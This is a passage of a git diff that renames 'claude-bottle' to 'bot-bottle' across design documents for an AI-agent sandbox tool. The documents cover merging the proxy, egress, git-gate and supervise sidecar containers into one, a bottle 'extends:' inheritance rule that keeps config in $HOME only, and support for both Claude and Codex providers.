COPY bot_bottle/sidecar_init.py /app/sidecar_init.py
|
||||
|
||||
# Pull the standalone binaries into the final stage
|
||||
COPY --from=pipelock-src /usr/local/bin/pipelock /usr/local/bin/pipelock
|
||||
@@ -252,7 +252,7 @@ existing Dockerfiles.
|
||||
|
||||
### Init supervisor
|
||||
|
||||
`claude_bottle/sidecar_init.py` (sketch — actual code lands as
|
||||
`bot_bottle/sidecar_init.py` (sketch — actual code lands as
|
||||
part of implementation):
|
||||
|
||||
```python
|
||||
@@ -287,7 +287,7 @@ of the four. The service inherits the union of the four's
|
||||
existing bind mounts; environment variables get prefixed by
|
||||
daemon name where they clash (none clash today, but the renderer
|
||||
becomes the central place to enforce that). Container hostname
|
||||
becomes `sidecars` (or `claude-bottle-sidecars-<slug>` for the
|
||||
becomes `sidecars` (or `bot-bottle-sidecars-<slug>` for the
|
||||
externally-visible name). The agent service's HTTPS_PROXY and
|
||||
git-gate URL move from per-sidecar hostnames to the single
|
||||
`sidecars` hostname:
|
||||
@@ -301,9 +301,9 @@ services:
|
||||
GIT_GATE_URL: "git://git-gate:9418/repo"
|
||||
MCP_SUPERVISE_URL: "http://supervise:9100"
|
||||
pipelock: { image: ghcr.io/luckypipewrench/pipelock:... }
|
||||
egress: { image: claude-bottle-egress:latest }
|
||||
git-gate: { image: claude-bottle-git-gate:latest }
|
||||
supervise:{ image: claude-bottle-supervise:latest }
|
||||
egress: { image: bot-bottle-egress:latest }
|
||||
git-gate: { image: bot-bottle-git-gate:latest }
|
||||
supervise:{ image: bot-bottle-supervise:latest }
|
||||
|
||||
# After (two services)
|
||||
services:
|
||||
@@ -313,7 +313,7 @@ services:
|
||||
GIT_GATE_URL: "git://sidecars:9418/repo"
|
||||
MCP_SUPERVISE_URL: "http://sidecars:9100"
|
||||
sidecars:
|
||||
image: claude-bottle-sidecars:<pinned>
|
||||
image: bot-bottle-sidecars:<pinned>
|
||||
# union of the four prior services' volumes / env / ports
|
||||
```
|
||||
|
||||
@@ -321,7 +321,7 @@ services:
|
||||
|
||||
### Backend Python collapse
|
||||
|
||||
The four `claude_bottle/backend/docker/<sidecar>.py` files keep
|
||||
The four `bot_bottle/backend/docker/<sidecar>.py` files keep
|
||||
their platform-neutral abstractions (proxy/plan classes) but
|
||||
shed the docker-container-lifecycle code that compose-up
|
||||
already owns. Container-name helpers consolidate:
|
||||
@@ -335,7 +335,7 @@ def supervise_container_name(slug): ...
|
||||
|
||||
# becomes:
|
||||
def sidecar_bundle_container_name(slug: str) -> str:
|
||||
return f"claude-bottle-sidecars-{slug}"
|
||||
return f"bot-bottle-sidecars-{slug}"
|
||||
```
|
||||
|
||||
Per-daemon "is the container up?" helpers used by orphan
|
||||
@@ -356,7 +356,7 @@ This PRD's change is large but mechanical. A pre-merge dry-run:
|
||||
and the resulting container runs all four daemons.
|
||||
2. Switch the renderer to emit the two-service shape behind an
|
||||
env-var feature flag (e.g.
|
||||
`CLAUDE_BOTTLE_SIDECAR_BUNDLE=1`).
|
||||
`BOT_BOTTLE_SIDECAR_BUNDLE=1`).
|
||||
3. Update integration tests in-place; flip the default once
|
||||
green; delete the flag and the old Dockerfiles in a
|
||||
follow-up commit on the same branch.
|
||||
@@ -379,7 +379,7 @@ rewrite.
|
||||
3. **Backend Python collapse.** Drop the vestigial per-container
|
||||
`.start()` / `.stop()` methods from `DockerPipelockProxy`,
|
||||
`DockerEgress`, `DockerGitGate`, `DockerSupervise` (and from
|
||||
the ABCs in `claude_bottle/{pipelock,egress,git_gate,supervise}.py`).
|
||||
the ABCs in `bot_bottle/{pipelock,egress,git_gate,supervise}.py`).
|
||||
These were already documented as vestigial in PRD 0018 ch3.
|
||||
Strip vestigial sidecar-instance parameters from
|
||||
`launch.launch()` and `prepare.resolve_plan()`. Delete the
|
||||
@@ -419,10 +419,10 @@ rewrite.
|
||||
is signal-killed (negative returncode) so the max is 0; a
|
||||
crashed-before-signal daemon's nonzero code wins and reaches
|
||||
the operator on container exit.
|
||||
3. **Image pin policy.** Pin `claude-bottle-sidecars` by tag
|
||||
3. **Image pin policy.** Pin `bot-bottle-sidecars` by tag
|
||||
(`:latest` rebuilt per-release) or by digest written into a
|
||||
`CLAUDE_BOTTLE_SIDECAR_IMAGE` env var like the existing
|
||||
`CLAUDE_BOTTLE_PIPELOCK_IMAGE`? Default to env-var override
|
||||
`BOT_BOTTLE_SIDECAR_IMAGE` env var like the existing
|
||||
`BOT_BOTTLE_PIPELOCK_IMAGE`? Default to env-var override
|
||||
+ a documented tag; digest pinning is an operator opt-in.
|
||||
4. **Healthcheck aggregation.** Today each sidecar service has
|
||||
its own compose healthcheck and `agent.depends_on:
|
||||
@@ -448,9 +448,9 @@ rewrite.
|
||||
- `Dockerfile.egress`, `Dockerfile.git-gate`,
|
||||
`Dockerfile.supervise` — the three Dockerfiles this PRD
|
||||
collapses into `Dockerfile.sidecars`.
|
||||
- `claude_bottle/backend/docker/compose.py` — the renderer this
|
||||
- `bot_bottle/backend/docker/compose.py` — the renderer this
|
||||
PRD slims down.
|
||||
- `claude_bottle/backend/docker/pipelock.py` — current home of
|
||||
- `bot_bottle/backend/docker/pipelock.py` — current home of
|
||||
`PIPELOCK_IMAGE` and the pinned digest the bundle's first
|
||||
stage reuses.
|
||||
- PRD 0017
|
||||
|
||||
@@ -28,7 +28,7 @@ silently absent from `staging` until someone notices.
|
||||
|
||||
Issue #88 proposed inlining a `bottle_config:` block in agent files
|
||||
that would merge with (and override) the referenced bottle. That
|
||||
design lets a `$CWD/.claude-bottle/agents/<name>.md` file from a
|
||||
design lets a `$CWD/.bot-bottle/agents/<name>.md` file from a
|
||||
cloned repo redeclare egress routes, env mappings, and git remotes
|
||||
— breaking the existing security model where bottles are
|
||||
`$HOME`-only specifically so cloned repos can't influence them
|
||||
@@ -93,7 +93,7 @@ egress:
|
||||
|
||||
`extends:` is a string — the name of another bottle (without the
|
||||
`.md`). Required to be one of the bottles loaded from
|
||||
`$HOME/.claude-bottle/bottles/`. Self-reference (`extends: self`
|
||||
`$HOME/.bot-bottle/bottles/`. Self-reference (`extends: self`
|
||||
in `self.md`) and longer cycles die at parse.
|
||||
|
||||
### Merge rules
|
||||
@@ -163,7 +163,7 @@ the full chain so operators can find the offending file.
|
||||
|
||||
### Trust boundary preservation
|
||||
|
||||
Bottles continue to be loaded from `$HOME/.claude-bottle/bottles/`
|
||||
Bottles continue to be loaded from `$HOME/.bot-bottle/bottles/`
|
||||
only (`Manifest.from_md_dirs` is unchanged). The `extends:` field
|
||||
references another file in that same directory. No cwd-readable
|
||||
file gains the ability to declare or modify bottle config — the
|
||||
|
||||
@@ -10,7 +10,7 @@ Support Claude and Codex agent providers while keeping agent files provider-agno
|
||||
|
||||
## Problem
|
||||
|
||||
Today claude-bottle is hard-wired around Claude Code assumptions. When Claude runs out or is otherwise unavailable, the operator cannot spin up an equivalent Codex-backed bottle from the dashboard or `start` path. Agent files should remain purpose/guidance documents, while bottle files define security boundaries and provider/runtime choices.
|
||||
Today bot-bottle is hard-wired around Claude Code assumptions. When Claude runs out or is otherwise unavailable, the operator cannot spin up an equivalent Codex-backed bottle from the dashboard or `start` path. Agent files should remain purpose/guidance documents, while bottle files define security boundaries and provider/runtime choices.
|
||||
|
||||
## Goals / Success Criteria
|
||||
|
||||
@@ -24,7 +24,7 @@ Today claude-bottle is hard-wired around Claude Code assumptions. When Claude ru
|
||||
|
||||
- Do not implement support for providers beyond Claude and Codex.
|
||||
- Do not move security boundaries into agent files.
|
||||
- Do not allow custom Dockerfiles to remove or bypass required claude-bottle infrastructure.
|
||||
- Do not allow custom Dockerfiles to remove or bypass required bot-bottle infrastructure.
|
||||
- Do not add new runtime dependencies unless the existing Docker/Codex tooling cannot satisfy the minimum cut.
|
||||
|
||||
## Scope
|
||||
@@ -63,7 +63,7 @@ agent_provider:
|
||||
|
||||
### Existing code touched
|
||||
|
||||
- `claude_bottle/manifest.py` for provider schema and role validation.
|
||||
- `bot_bottle/manifest.py` for provider schema and role validation.
|
||||
- Docker and smolmachines prepare/launch/provision paths for provider-specific image, command, auth, and state behavior.
|
||||
- Dashboard/start display paths so the selected provider is visible and usable.
|
||||
- README and PRD docs for provider/template configuration.
|
||||
|
||||
Reference in New Issue
Block a user